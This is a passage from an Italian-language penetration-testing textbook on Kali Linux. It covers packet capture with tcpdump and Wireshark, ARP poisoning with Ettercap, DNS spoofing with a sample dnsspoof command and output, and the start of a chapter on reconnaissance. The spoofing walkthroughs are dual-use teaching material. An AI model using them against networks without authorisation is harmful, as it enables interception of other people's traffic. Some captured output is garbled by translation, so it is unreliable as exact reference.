pacchetti catturati, poiché il tuo sistema non eseguirà una ricerca DNS per
ogni frame in arrivo.
Noterai che insieme a ogni indirizzo IP c'è un altro valore. Dal nostro
indirizzo sorgente, binkley.lan.57137 , il 57137 è un numero di porta.
Questa è la porta sorgente e, sul lato ricevente, puoi vedere
testwifi.here.domain . Ciò significa che testwifi.here sta ricevendo un
messaggio sulla porta utilizzata dai server dei nomi di dominio. Di nuovo,
proprio come nel nome host rispetto all'indirizzo IP, se non vuoi che
tcpdump esegua una ricerca sul numero di porta, in base a numeri di porta
noti, puoi aggiungere -n alla riga di comando e tcpdump presenterà solo
informazioni numeriche. In questo caso .domain si traduce in .53 , che è il
valore numerico. Sappiamo
che si tratta di un messaggio UDP perché dopo ci fornisce le informazioni
sulla destinazione.
Principalmente, ciò che vedi nell'Esempio 2-16 sono richieste e risposte
DNS. Questo è il risultato dell'utilizzo di tcpdump per effettuare ricerche
DNS inverse per determinare il nome host associato all'indirizzo IP. Il resto
di ogni riga dell'output di tcpdump è una descrizione del pacchetto. Nel
caso di un messaggio TCP, potresti vedere i flag impostati nell'intestazione
TCP oppure potresti vedere informazioni sul numero di sequenza.
Questa volta, daremo un'occhiata a un output più dettagliato usando il flag
-v . tcpdump supporta più flag -v , a seconda del livello di dettaglio che stai
cercando. Useremo anche il flag -n per vedere come appare senza alcuna
ricerca di indirizzo. L'esempio 2-17 mostra l'output più dettagliato.
Esempio 2-17. Output dettagliato per tcpdump
11:39:09.703339 STP 802.1d, Config, Flag [nessuno]
7b00.18:d6:c7:7d:f4:8a.8004, lunghezza 35
messaggio hello-time 1.00s, forwarding-delay 4.00s
root-i root-pathcost 4
11:39:09.710628 IP (tos 0x0, ttl 233, id 12527,
lunghezza o 553) 54.231.176.224.443 >
192.168.86.223 cksum 0x6518 (corretto), seq
3199:3712, ack 1164 11:39:09.710637 IP (tos 0x0,
ttl 233, id 12528, lunghezza o 323)
54.231.176.224.443 > 192.168.86.223 cksum 0x7f26
(corretto), seq 3712:3995, ack 1164
11:39:09.710682 IP (tos 0x0, ttl 64, id 0,
lunghezza offset 40) 192.168.86.223.62547 >
54.231.176.22 cksum 0x75f2 (corretto), ack 3712,
win 8175, len 11:39:09.710703 IP (tos 0x0, ttl 64,
id 0, lunghezza offset 40)
L'output sembra in gran parte lo stesso, tranne per il fatto che si tratta di
numeri senza nomi host o nomi di porta. Questo è il risultato dell'utilizzo
del flag -n durante l'esecuzione di tcpdump . Vedrai comunque i due
endpoint di ogni conversazione identificati dall'indirizzo IP e dal numero di
porta . Ciò che ottieni con -v sono maggiori dettagli dalle intestazioni.
Vedrai che i checksum sono verificati come corretti (o non corretti). Vedrai
anche altri campi, tra cui il valore time-tolive e il valore di identificazione IP.
Anche se passiamo a -vvv per la massima verbosità, non otterrai una
decodifica completa del pacchetto per l'analisi. Possiamo, tuttavia, usare
tcpdump per catturare i pacchetti e scriverli in un file. Ciò di cui dobbiamo
parlare è la lunghezza dello snap . Questa è la lunghezza dello snapshot, o
la quantità di ogni pacchetto catturato in byte. Per impostazione
predefinita, tcpdump cattura 262.144 byte. Potresti essere in grado di
impostare quel valore più basso. Impostando il valore su 0, tcpdump
dovrebbe catturare la dimensione massima. In effetti, questo dice a
tcpdump di impostare la lunghezza dello snap sul valore predefinito di
262.144. Per scrivere la cattura del pacchetto, dobbiamo usare il flag -w e
specificare un file. Una volta fatto ciò, abbiamo un file di cattura del
pacchetto (pcap) che possiamo importare in qualsiasi strumento che legga
questi file. Daremo un'occhiata a uno di quegli strumenti un po' più tardi.
Filtri per pacchetti Berkeley
Un'altra caratteristica importante di tcpdump , che ci tornerà utile a breve,
è il Berkeley Packet Filter (BPF). Questo set di campi e parametri ci
consente di limitare i pacchetti che stiamo catturando. Su una rete
trafficata, catturare pacchetti può comportare molti dati sul disco in un
breve lasso di tempo. Se hai un'idea di cosa stai cercando in anticipo, puoi
creare un filtro per catturare solo ciò che stai per guardare. Questo può
anche rendere molto più semplice analizzare visivamente ciò che hai
catturato, risparmiandoti un sacco di tempo.
Un filtro di base consiste nello specificare quale protocollo si desidera
catturare. Ad esempio, potrei scegliere di catturare solo pacchetti TCP o
UDP. Potrei anche dire che voglio catturare solo IP o altri protocolli.
Nell'esempio 2-18 , puoi vedere una cattura di pacchetti solo ICMP. Noterai
che per applicare un filtro, lo metto semplicemente alla fine della riga di
comando. Il risultato è la visualizzazione di soli pacchetti ICMP. Tutto arriva
comunque all'interfaccia e viene inviato a tcpdump , ma poi determina
cosa visualizzare o scrivere in un file, se è quello che stai facendo.
Esempio 2-18. tcpdump utilizzando BPF
root@rosebud:~# tcpdump icmp tcpdump: output
dettagliato soppresso, utilizzare -v o -vv in
ascolto su eth0, tipo di collegamento EN10MB
(Ethernet), c 12:01:14.602895 IP binkley.lan >
rosebud.lan: lunghezza ICM 64 12:01:14.602952 IP
rosebud.lan > binkley.lan: lunghezza ICM 64
12:01:15.604118 IP binkley.lan > rosebud.lan:
lunghezza ICM 64 12:01:15.604171 IP rosebud.lan >
binkley.lan: lunghezza ICM 64 12:01:16.604295 IP
binkley.lan > rosebud.lan: lunghezza ICM 64
Una cosa che posso fare con questi filtri è usare la logica booleana; posso
usare operatori logici per poter sviluppare filtri complessi. Diciamo, ad
esempio, che voglio catturare il traffico web. Un'opzione sarebbe dire tcp e
porta 80 : sto catturando tutti i pacchetti TCP che hanno la porta 80.
Noterai che non menziono origine o destinazione rispetto al numero di
porta. Certamente posso. Potrei usare src porta 80 o dst porta 80. Tuttavia,
se non specifico origine o destinazione, ottengo entrambe le estremità
della conversazione. Quando un messaggio esce con la porta 80 come
destinazione, il sistema ricevente scambierà i numeri di porta di origine e
destinazione. La porta 80 nella risposta diventa la porta di origine. Se
dovessi catturare solo src porta 80 , non otterrei nessuno dei messaggi
nell'altra direzione. Questo potrebbe essere esattamente ciò che stai
cercando, ovviamente, ma è qualcosa da tenere a mente. Potresti scoprire
di dover indicare un intervallo di porte da catturare. Potresti usare la
primitiva port-range per catturare un intervallo di porte, come 80–88, ad
esempio.
Il linguaggio utilizzato per BPF offre molte capacità. Se hai bisogno di filtri
davvero complessi, puoi sicuramente cercare la sintassi per BPF ed esempi
che potrebbero fornirti qualcosa di specifico che stai cercando. Ho spesso
scoperto che specificare la porta è utile. Inoltre, spesso conosco l'host da
cui voglio catturare il traffico. In quel caso, userei l'host 192.168.86.35 per
catturare solo il traffico con quell'indirizzo IP. Di nuovo, non ho specificato
né la sorgente né la destinazione per l'indirizzo. Potrei specificando src host
o dst host . Se non lo indico, ottengo entrambe le direzioni della
conversazione.
Sviluppare anche una semplice comprensione di BPF ti aiuterà a
concentrarti sui dati rilevanti. Quando inizieremo a guardare le catture di
pacchetti, capirai la complessità dell'analisi dei pacchetti perché ci sono
così tanti frame che contengono molti dettagli da esaminare.
Squalo di filo
Quando hai il tuo file di cattura dei pacchetti, probabilmente vorrai fare
un'analisi. Uno degli strumenti migliori per questo è Wireshark .
Naturalmente, Wireshark può anche catturare i pacchetti e generare file
.pcap se vuoi archiviare la cattura per un'analisi successiva o per l'analisi da
parte di qualcun altro. Il vantaggio principale di Wireshark, tuttavia, è
fornire un modo per scavare davvero in profondità nel contenuto del
pacchetto. Invece di perdere tempo a esaminare l'aspetto di Wireshark o
come possiamo usarlo per catturare i pacchetti, passiamo alla suddivisione
di un pacchetto usando Wireshark. La Figura 2-4 mostra le intestazioni IP e
TCP di un pacchetto HTTP.
Figura 2-4. Campi di intestazione in Wireshark
Da questa immagine puoi vedere che Wireshark fornisce molti più dettagli
di quelli che ottenevamo da tcpdump . Questa è un'area in cui le GUI
hanno un vantaggio significativo. C'è semplicemente più spazio qui e un
modo migliore per presentare la quantità di dati in ciascuna di queste
intestazioni. Ogni campo nell'intestazione è presentato su una riga a sé
stante, quindi è chiaro cosa sta succedendo. Vedrai anche che alcuni di
questi campi possono essere ulteriormente suddivisi. Il campo flag, ad
esempio, può essere suddiviso per vedere i dettagli. Poiché il campo flag è
in realtà una serie di bit, puoi aprire quel campo cliccando sulla freccia (o
sul triangolo) e sarai in grado di vedere il valore di ciascuno dei bit.
Naturalmente, puoi anche vedere cosa è impostato semplicemente
guardando la riga che abbiamo presentato da Wireshark perché ha fatto il
lavoro per noi. Per questo frame, è impostato il bit Don't Fragment.
Un altro vantaggio nell'usare uno strumento come Wireshark è che
possiamo arrivare più facilmente al contenuto del pacchetto. Trovando un
frame che ci interessa perché fa parte di una conversazione che pensiamo
abbia un certo valore, dobbiamo solo selezionare Follow TCP Stream.
Quello che otterremo, oltre ai frame che fanno parte di quella
conversazione, è una finestra che mostra la decodifica ASCII dei payload di
tutti i frame. Puoi vederlo nella Figura 2-5 . Wireshark codifica anche a
colori l'output. Il rosso indica i messaggi del client e il blu indica i messaggi
del server. Otterrai anche un breve riepilogo nella parte inferiore della
finestra che indica quanta parte della conversazione era del client e
quanta era del server.
Figura 2-5. Seguendo l'output del flusso TCP
Wireshark ha le stesse capacità di filtraggio che avevamo con tcpdump .
Nel caso di Wireshark, possiamo applicare il filtro come filtro di cattura, il
che significa che cattureremo solo i pacchetti che corrispondono al filtro,
oppure possiamo applicare il filtro come filtro di visualizzazione da
applicare ai pacchetti già catturati. Wireshark fornirà molto aiuto quando si
tratta di filtraggio. Quando inizi a digitare nella casella del filtro nella parte
superiore dello schermo, Wireshark inizierà a provare a completare
automaticamente. Indicherà anche se hai un filtro valido codificando a
colori la casella in rosso quando hai un filtro non valido e in verde quando
è valido. Wireshark ha la capacità di arrivare a ogni campo o proprietà dei
protocolli che conosce. Ad esempio, potremmo filtrare in base al tipo di
codice di risposta HTTP che è stato visto. Questo potrebbe essere utile se
hai generato un errore e vuoi esaminare la conversazione che ha portato
all'errore.
Wireshark eseguirà anche molte analisi per noi. Ad esempio, i pacchetti
frammentati otterrebbero frame colorati che mostrano che c'era qualcosa
di sbagliato in essi. Se il checksum di un pacchetto non corrispondeva, ad
esempio, i frame appartenenti a quel pacchetto sarebbero stati colorati di
nero. Qualsiasi errore nel protocollo in cui il pacchetto è malformato
avrebbe prodotto un frame colorato di rosso. Allo stesso modo, i ripristini
TCP otterrebbero un frame colorato di rosso. Un avviso sarebbe colorato di
giallo e potrebbe derivare da un'applicazione che genera un codice di
errore insolito. Potresti anche vedere il giallo se si verificano problemi di
connessione. Se vuoi risparmiare un po' di tempo, puoi usare il menu
Analizza e selezionare Informazioni esperte per vedere l'intero elenco di
frame che sono stati contrassegnati. Puoi vedere un esempio di questa
vista nella Figura 2-6 .
Figura 2-6. Output di informazioni degli esperti
Wireshark ha così tante capacità che non stiamo nemmeno sfiorando la
superficie. Potresti trovare la sua utilità principalmente nella
visualizzazione delle intestazioni per ogni protocollo suddivise in modo da
poterle leggere facilmente. Questo ti aiuterà a vedere cosa sta succedendo
se riscontri problemi con i tuoi test. Un'altra caratteristica che dovrei
menzionare è il menu Statistiche. Wireshark fornirà grafici e diverse viste
dei dati che hai catturato. Una di queste viste è la gerarchia del protocollo,
come puoi vedere nella Figura 2-7 .
Figura 2-7. Gerarchia dei protocolli in Wireshark
La vista della gerarchia dei protocolli è utile, tra le altre cose, per
identificare rapidamente i protocolli che non riconosci. Ti aiuta anche a
determinare quali protocolli sono i più utilizzati. Se ritieni, ad esempio, di
utilizzare molti attacchi basati su UDP, ma UDP è una piccola frazione del
numero totale di messaggi inviati, potresti voler fare ulteriori indagini.
Wireshark viene installato out of the box, per così dire, con Kali Linux.
Tuttavia, può essere installato anche su altri sistemi operativi come
Windows e macOS, così come altre distribuzioni Linux. Non posso
sottolineare abbastanza il valore di questo particolare strumento e la
quantità di lavoro che può far risparmiare dopo aver preso la mano con il
suo utilizzo. Essere in grado di decodificare completamente i protocolli del
livello applicativo in modo che possa darti un piccolo riassunto di ciò che
sta accadendo con l'applicazione può essere inestimabile.
L'uso del traffico criptato crea sfide per quasi tutti i siti web oggi, ma è
possibile aggirare il problema. È possibile aggiungere chiavi di crittografia
nelle Preferenze, ma è un duro lavoro assicurarsi di avere le chiavi giuste
per i flussi di comunicazione che si desidera decodificare. Per tutto ciò che
non è criptato, è possibile effettuare decodificazioni complete del
protocollo e si possono sempre guardare le intestazioni per vedere chi sta
comunicando con chi.
Attacchi di avvelenamento
Una delle sfide che affrontiamo è che la maggior parte delle reti sono
commutate. Il dispositivo a cui ti stai connettendo invia messaggi solo alla
porta di rete in cui si trova il destinatario. In passato, usavamo gli hub.
Mentre uno switch è un dispositivo unicast, un hub è un dispositivo
broadcast. Ogni messaggio che arrivava a un hub veniva inviato a tutte le
altre porte nell'hub, consentendo agli endpoint di capire a chi apparteneva
il frame, in base all'indirizzo MAC. Non c'era alcuna intelligenza nell'hub.
Era semplicemente un ripetitore.
Uno switch cambia tutto. Lo switch legge l'intestazione di livello 2 per
determinare l'indirizzo MAC di destinazione. Conosce la porta in cui si trova
il sistema che possiede quell'indirizzo MAC. Lo determina osservando il
traffico in arrivo su ogni porta. L'indirizzo MAC sorgente viene associato
alla porta. Lo switch memorizzerà comunemente queste mappature nella
memoria indirizzabile al contenuto (CAM). Invece di dover scansionare
un'intera tabella, lo switch cerca i dettagli facendo riferimento
direttamente all'indirizzo MAC. Questo è il contenuto che diventa l'indirizzo
a cui fa riferimento lo switch per ottenere le informazioni sulla porta.
Perché è rilevante qui? Perché a volte vorrai raccogliere informazioni da un
sistema a cui non hai accesso. Se possiedi la rete e hai accesso allo switch,
potresti essere in grado di configurare lo switch per inoltrare il traffico da
una o più porte a un'altra porta. Questo sarebbe un mirror piuttosto che
un reindirizzamento. Il destinatario riceve il traffico, ma un dispositivo di
monitoraggio o qualcuno che cattura il traffico per l'analisi riceverebbe i
pacchetti.
Per ottenere i messaggi di cui hai bisogno se non riesci ad accedervi
legittimamente, puoi usare un attacco spoofing : fingi di essere qualcuno
che non sei per ottenere traffico. Puoi farlo in un paio di modi, e li
esamineremo di seguito.
AVVERTIMENTO
Sebbene gli attacchi di spoofing siano utilizzati dagli aggressori, non sono qualcosa che dovresti fare su
una rete che stai testando, a meno che non rientri nell'ambito di ciò che hai detto che avresti testato.
L'utilizzo di questa tecnica potrebbe causare la perdita di dati.
Spoofing ARP
L'Address Resolution Protocol (ARP) è un protocollo semplice. Il
presupposto è che quando il tuo sistema deve comunicare sulla rete ma ha
solo l'indirizzo IP e non l'indirizzo MAC, invierà una richiesta (who-has) alla
rete. Il sistema che ha quell'indirizzo IP risponderà (is-at) compilando
l'indirizzo MAC per il suo sistema. Il tuo sistema conoscerà quindi l'indirizzo
MAC per il sistema di destinazione e potrà inviare il messaggio che ha
trattenuto alla destinazione corretta.
Per essere efficiente, il tuo sistema memorizzerà nella cache quella
mappatura. Infatti, memorizzerà nella cache qualsiasi mappatura che vede
passare. ARP presuppone che l'unica volta in cui un sistema indicherà di
possedere un indirizzo IP è quando qualcuno lo ha chiesto. A quanto pare,
però, non è così. Se il mio sistema inviasse una risposta ARP (isat) dicendo
che sono il proprietario del tuo indirizzo IP e che chiunque provi ad arrivare
a quell'indirizzo IP dovrebbe inviare al mio indirizzo MAC, riceverei
messaggi destinati a te. Inviando una risposta ARP indicando che il tuo
indirizzo IP è al mio indirizzo MAC, mi metto nel mezzo del flusso di
comunicazione.
Tuttavia, questo è solo unidirezionale. Se finisco per falsificare il tuo
indirizzo IP con il mio indirizzo MAC, ricevo solo messaggi che avrebbero
dovuto essere indirizzati a te. Per ottenere l'altra estremità della
conversazione, dovrei falsificare altri indirizzi. Ad esempio, potresti
falsificare il gateway locale per catturare messaggi da e verso te e Internet.
Questo si occupa di far arrivare i messaggi solo a me. Devo anche far
arrivare i messaggi ai target previsti, altrimenti la comunicazione si
interrompe semplicemente perché nessuno riceve i messaggi che si aspetta
di ricevere. Ciò richiede che il mio sistema inoltri il messaggio iniziale al
target previsto.
Poiché le cache ARP vanno in timeout, se non continuo a far sì che il mio
sistema invii questi messaggi, alla fine la cache andrà in timeout e quindi
non riceverò più i messaggi che desidero. Ciò significa che devo continuare
a inviare questi messaggi, chiamati messaggi ARP gratuiti . Un messaggio
ARP gratuito è un messaggio che non è stato richiesto ma che è stato
comunque offerto. Ci sono motivi legittimi per questo comportamento, ma
non sono comuni.
Mentre altri strumenti possono essere usati per questo, possiamo usare
Ettercap. Questo programma ha due modalità di funzionamento. La prima
è un'interfaccia cursesstyle, il che significa che viene eseguita in una
console ma non è strettamente una riga di comando. Presenta una GUI
basata sui caratteri. L'altra è una GUI completa basata su Windows. La
Figura 2-8 mostra Ettercap dopo che i nostri host di destinazione sono stati
selezionati e l'avvelenamento ARP è stato avviato. Per avviare l'attacco di
spoofing, ho scansionato gli host per ottenere tutti gli indirizzi MAC sulla
rete. Quindi, ho selezionato i due obiettivi e ho avviato l'attacco di spoofing
ARP.
Il motivo per cui ho due target è per assicurarmi di ottenere entrambe le
parti di una conversazione. Se avveleno solo una parte, otterrò solo metà
della conversazione. Presumo che ciò che voglio raccogliere sia la
comunicazione tra il mio target e Internet. Di conseguenza, ho impostato il
mio target come un host e il router sulla mia rete come secondo host. Se
dovessi acquisire traffico tra due sistemi sulla mia rete, li selezionerei. Uno
sarebbe nel Target 1 e l'altro nel Target 2. L'esempio 2-19 mostra come
appare un attacco di veleno ARP da una cattura di pacchetti. Vedrai le due
risposte ARP in cui gli indirizzi IP appartengono ai miei target. Ho incluso
una parte dell'output ifconfig sul mio sistema in modo che tu possa vedere
che l'indirizzo MAC catturato nella cattura di pacchetti è l'indirizzo MAC del
mio sistema, dove stavo eseguendo l'attacco di spoofing ARP.
Figura 2-8. Utilizzo di Ettercap
Esempio 2-19. tcpdump mostra l'attacco ARP poison
17:06:46.690545 ARP, Rispondi rosebud.lan è-a 00:0
lunghezza 28 17:06:46.690741 ARP, Rispondi
testwifi.here è-a 00 lunghezza 28
17:06:46.786532 ARP, richiesta who-ha localhost.la
^C
43 pacchetti catturati
43 pacchetti ricevuti dal filtro 0 pacchetti
eliminati dal kernel root@kali:~# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
inet 192.168.86.227 netmask 255.255.255 inet6
fe80::20c:29ff:fe94:ce06
prefixlen
ether
00:0c:29:94:ce:06 txqueuelen 1000
Una volta che ho un attacco di spoofing ARP in atto, posso catturare intere
conversazioni usando tcpdump o Wireshark. Tieni presente che questo tipo
di attacco funziona solo sulla rete locale. Il motivo è che l'indirizzo MAC è
un indirizzo di livello 2, quindi rimane sulla rete locale e non attraversa
alcun confine di livello 3 (spostandosi da una rete all'altra). Ettercap
supporta anche altri attacchi di livello 2 come DHCP poisoning e attacchi di
reindirizzamento ICMP. Ognuno di questi può essere un modo per
assicurarti di catturare traffico da altri sistemi sulla tua rete locale.
Spoofing DNS
Una soluzione al problema di dover catturare traffico che potrebbe essere
esterno alla rete locale è usare un attacco di spoofing DNS . In questo
attacco, interferisci con una ricerca DNS per assicurarti che quando il tuo
target tenta di risolvere un nome host in un indirizzo IP, il target ottenga
l'indirizzo IP di un sistema che controlli. Questo tipo di attacco è talvolta
chiamato attacco di avvelenamento della cache . Il motivo è che ciò che
potresti fare è sfruttare un server DNS vicino al tuo target. Questo sarebbe
in genere un server di memorizzazione nella cache, il che significa che
cerca indirizzi da server autorevoli per tuo conto e quindi memorizza nella
cache la risposta per un periodo di tempo determinato dal server
autorevole.
Una volta ottenuto l'accesso al server di caching, puoi modificare la cache
in atto per indirizzare i tuoi obiettivi ai sistemi che controlli. Puoi anche
includere qualsiasi voce che non esiste modificando la cache. Ciò avrebbe
un impatto su chiunque abbia utilizzato quel server di caching. Questo
processo ha il vantaggio di funzionare al di fuori della rete locale, ma ha lo
svantaggio di richiedere di compromettere un server DNS remoto.
Forse più semplice, anche se richiede comunque di essere sulla rete locale,
è il programma dnsspoof . Quando un sistema invia una richiesta DNS a un
server, si aspetta una risposta da quel server. La richiesta include un
identificatore, quindi è protetta dagli aggressori che inviano risposte
cieche. Se l'aggressore riesce a vedere la richiesta in uscita, tuttavia, può
catturare l'identificatore e includerlo in una risposta che ha l'indirizzo IP
appartenente all'aggressore. dnsspoof è stato scritto da Dug Song molti
anni fa, in un periodo in cui era meno probabile che ci si trovasse su una
rete commutata. Se ci si trova su una rete commutata, si dovrebbe passare
attraverso il passaggio aggiuntivo di acquisizione dei messaggi DNS per
vedere la richiesta. Questo programma non è installato di default, ma può
essere installato come parte del pacchetto dsniff .
Eseguire dnsspoof è facile, anche se la preparazione per l'esecuzione
potrebbe non esserlo. Hai bisogno di un file hosts che mappi gli indirizzi IP
ai nomi host. Questo assume la forma di voci su una sola riga con l'indirizzo
IP seguito da spazi e poi dal nome host che si intende associare a
quell'indirizzo IP. Una volta ottenuto il file hosts, puoi eseguire dnsspoof ,
come puoi vedere nell'Esempio 2-20 .
Esempio 2-20. Utilizzo di dnsspoof
┌──(kilroy@badmilo)-[~] └─$ sudo dnsspoof -i eth0
-f myhosts udp dst port dnsspoof: in ascolto su
eth0 [udp dst port 53] 192.168.1.253.39071 >
192.168.1.1.53: 45040+ A?
192.168.1.253.34786 > 192.168.1.1.53: 39506+ A?
192.168.1.253.55556 > 192.168.1.1.53: 12829+ PTR
192.168.1.253.46864 > 192.168.1.1.53: 40977+ PTR
192.168.1.253.41132 > 192.168.1.1.53: 58799+ PTR
192.168.1.253.33490 > 192.168.1.1.53: 4611+ PTR
192.168.1.253.53561 > 192.168.1.1.53: 31549+ PTR
Noterai che alla fine della riga di comando ho incluso BPF per
concentrarmi sui pacchetti catturati. Senza questo, l'output mostrerebbe
per impostazione predefinita solo i datagrammi catturati sulla porta UDP
53 se non provengono dal sistema su cui stai eseguendo dnsspoof . Puoi
usare BPF proprio come faresti con tcpdump per vedere un set di traffico
più ampio. Ho rimosso la parte che non catturava il traffico dal sistema
locale e ho incluso il mio BPF per eseguire i test localmente. Vedrai che
tutte le richieste che corrispondono ai tuoi parametri BPF vengono
stampate quando arrivano. Questo output è simile a quello che potresti
vedere da tcpdump .
Potresti chiederti perché dovresti prenderti la briga di fare il passo in più di
usare dnsspoof se devi usare Ettercap o arpspoof
(un'altra utility di spoofing ARP, anche se questa è stata scritta da Dug Song
ed è inclusa nella stessa suite di strumenti di dnsspoof ). Ciò che puoi fare
con dnsspoof che non puoi fare con il solo spoofing ARP è indirizzare un
sistema a visitare effettivamente un altro indirizzo IP, pensando che stia
andando da qualche parte legittima. Potresti creare un server web rogue,
ad esempio, facendolo sembrare il server reale ma includendo del codice
dannoso per raccogliere dati o infettare il bersaglio. Questo non è l'unico
scopo per fare spoofing DNS, ma è uno popolare.
Riepilogo
In genere, gli attacchi contro i sistemi avvengono tramite la rete. Sebbene
non tutti gli attacchi puntino ai protocolli di rete, ce ne sono abbastanza
che vale la pena dedicare del tempo alla comprensione degli elementi di
rete e dei protocolli associati ai livelli. Ecco alcuni punti chiave da trarre da
questo capitolo:
I test di sicurezza mirano a individuare carenze in termini di riservatezza,
integrità e disponibilità.
Lo stack di rete basato sul modello OSI comprende componenti fisici, dati,
rete, trasporto, sessione, presentazione e applicazione.
Gli stress test possono rivelare impatti almeno sulla disponibilità. La
crittografia può rendere difficile osservare le connessioni di rete, ma una
crittografia debole può rivelare problemi di riservatezza.
Gli attacchi di spoofing possono fornire un modo per osservare e
catturare il traffico di rete da fonti remote.
Catturare pacchetti usando strumenti come tcpdump e Wireshark può
fornire informazioni su cosa sta succedendo con le applicazioni. Kali
fornisce strumenti utili per i test di sicurezza di rete.
Risorse utili
Pagina dsniff di Dug Song
Video “TCP/IP” di Ric Messier , pubblicato da Infinite Skills, 2013
Amministrazione di rete TCP/IP , 3a edizione , di Craig Hunt (O'Reilly,
2002)
Capitolo 3. Ricognizione
Quando esegui un test di penetrazione, un hacking etico o un lavoro di
valutazione della sicurezza, quel lavoro in genere ha dei parametri. Questi
possono includere un ambito completo di obiettivi, ma spesso non è così.
Dovrai determinare quali sono i tuoi obiettivi, inclusi sistemi e obiettivi
umani. Per farlo, dovrai eseguire una ricognizione . Utilizzando gli
strumenti forniti da Kali Linux, puoi raccogliere molte informazioni su
un'azienda e sui suoi dipendenti.
Gli attacchi possono colpire non solo i sistemi e le applicazioni che vi
girano, ma anche le persone. Non necessariamente ti verrà chiesto di
eseguire attacchi di social engineering se sei impegnato in penetration
testing o red teaming, ma è una possibilità. Dopotutto, gli attacchi di social
engineering sono uno dei vettori più comuni per l'accesso iniziale
oggigiorno. Mentre le statistiche variano di anno in anno, alcune stime, tra
cui quelle di Verizon e Mandiant, suggeriscono che un numero significativo
di violazioni dei dati nelle aziende odierne sono il risultato di social
engineering.
In questo capitolo, inizieremo cercando informazioni a distanza in modo
che il tuo obiettivo non sia consapevole di cosa stai facendo. A un certo
punto, però, dovrai interagire con il tuo obiettivo, quindi inizieremo ad
avvicinarci sempre di più ai sistemi di proprietà dell'azienda. Concluderemo
con un concetto piuttosto sostanziale: la scansione delle porte. Mentre
questo ti fornirà molti dettagli sui sistemi e sulle applicazioni in esecuzione
su di essi, le informazioni che puoi raccogliere da altri strumenti e tecniche
ti aiuteranno a ottenere una comprensione più ampia dei tuoi obiettivi.
Che cosa è la ricognizione?
Forse è meglio iniziare con una definizione di ricognizione, giusto per
essere tutti sulla stessa lunghezza d'onda, per così dire. Secondo MerriamWebster, la ricognizione è un "rilevamento preliminare per raccogliere
informazioni" e la definizione continua a suggerire una connessione con
l'esercito. Il suggerimento militare non è del tutto fuori luogo qui,
considerando il modo in cui parliamo di sicurezza informatica. Parliamo di
corse agli armamenti, attacchi, difese e, naturalmente, ricognizione. Ciò
che stiamo facendo qui è cercare di raccogliere informazioni per
semplificarci la vita come tester (attaccanti o avversari). Sebbene tu possa
lanciare contro il muro tutto ciò che ti viene in mente durante il test, in
generale, il test non è un'attività illimitata. Dobbiamo essere attenti e
consapevoli del nostro tempo. È meglio dedicare un po' di tempo in
anticipo per vedere cosa stiamo affrontando piuttosto che passare molto
tempo in seguito a sparare nel buio.
Quando inizi a raccogliere informazioni sul tuo obiettivo, di solito è meglio
non fare troppo rumore. Vuoi iniziare a fare le tue richieste a distanza
senza coinvolgere direttamente il tuo obiettivo. Ovviamente, questo
varierà da coinvolgimento a coinvolgimento. Se lavori in un'azienda,
potresti non aver bisogno di stare in silenzio, perché tutti sanno cosa stai
facendo. Tuttavia, potresti dover usare le stesse tattiche di cui parleremo
per determinare il tipo di impronta che la tua azienda sta lasciando.
Potresti scoprire che la tua azienda sta divulgando molte informazioni a
fonti pubbliche che non intende divulgare. Puoi usare gli strumenti e le
tattiche di intelligence open source per proteggere la tua azienda dagli
attacchi.
Sicurezza OPERATIVA
Potresti aver sentito l'espressione "Loose lips sink ships" che ha avuto
origine nella seconda guerra mondiale. Questa frase è una breve sintesi di
cosa significa la sicurezza delle operazioni (OPSEC): le informazioni critiche
relative a una missione devono rimanere segrete, perché qualsiasi fuga di
informazioni può compromettere un'operazione. Quando si tratta di
missioni militari, quella segretezza si estende anche alle famiglie del
personale militare. Se un familiare facesse sapere che il suo caro è stato
dispiegato in una particolare posizione geografica e che forse il caro ha un
set di competenze specifico, le persone potrebbero capire l'operazione
militare. Due più due, e tutto il resto. Allo stesso modo, quando troppe
informazioni sono pubblicamente disponibili sulla tua azienda, gli avversari
(qualunque sia la loro natura) potrebbero essere in grado di dedurre molto
sull'azienda. L'impiego di componenti essenziali dell'OPSEC può essere
importante per tenere lontani gli aggressori e proteggere dalla fuga di
informazioni ai concorrenti.
Potrebbe anche essere utile capire il tipo di aggressori che più
preoccupano la tua azienda. Potresti essere preoccupato per la perdita di
proprietà intellettuale a favore di un concorrente. Potresti anche essere
preoccupato per la gamma molto più ampia di attacchi da parte della
criminalità organizzata e degli stati nazionali alla ricerca di obiettivi di
opportunità. Queste distinzioni possono aiutarti a determinare quali
informazioni ti preoccupano di più tenere all'interno dell'azienda e quali ti
senti a tuo agio a far trapelare.
Le buone pratiche OPSEC possono aiutare a proteggere da alcune delle
tecniche di ricognizione che esamineremo in questo capitolo.
Se pensassimo solo agli attacchi di rete, potremmo accontentarci di
scansione delle porte e scansione dei servizi. Tuttavia, un test di sicurezza
completo potrebbe coprire più di un semplice attacco duro e tecnico, in
stile "puoi entrare in un sistema da porte aperte". Potrebbe includere
risposte operative, interfacce umane, ingegneria sociale e molto altro. In
definitiva, la postura di sicurezza di un'azienda è influenzata da molto più
che dai servizi esposti al mondo esterno. Di conseguenza, c'è molto di più
nell'eseguire una ricognizione in preparazione per i test di sicurezza
rispetto alla semplice esecuzione di una scansione delle porte.
Una delle cose più belle di Internet è che offre così tante informazioni. Più
a lungo sei connesso e interagisci con Internet, più briciole di pane ci sono
su di te. Questo vale per le persone e le aziende. Pensa ai siti di social
network solo come punto di partenza. Che tipo di presenza hai? Quante
informazioni hai sparso in giro su di te? E come dipendente dell'azienda
per cui lavori? Oltre a tutto questo, Internet memorizza informazioni solo
per continuare a funzionare e per consentirci di spostarci. Si tratta di
informazioni su nomi di dominio, informazioni di contatto, dettagli
aziendali, indirizzi e altri dati utili mentre stai lavorando a un test di
sicurezza.
Nel tempo, l'importanza di localizzare queste informazioni ha generato
molti strumenti per facilitarne l'estrazione dai luoghi in cui sono archiviate.
Ciò include strumenti da riga di comando che esistono da un po', ma anche
siti Web, plug-in del browser e altri programmi. Ci sono così tanti posti in
cui estrarre informazioni, soprattutto perché sempre più persone sono
online e ci sono più posti che raccolgono informazioni. Non esamineremo
tutti i modi per raccogliere informazioni tramite diversi siti Web, anche se
ci sono molti siti che puoi utilizzare. Ci concentreremo sugli strumenti
disponibili in Kali, con una piccola discussione sulle estensioni che puoi
aggiungere a Firefox, che è il browser utilizzato come predefinito in Kali.
Intelligence open source
Non molto tempo fa, era più difficile trovare qualcuno con una presenza
online significativa che qualcuno che non avesse idea di cosa fosse
Internet. La situazione si è invertita in poco tempo. Anche le persone che
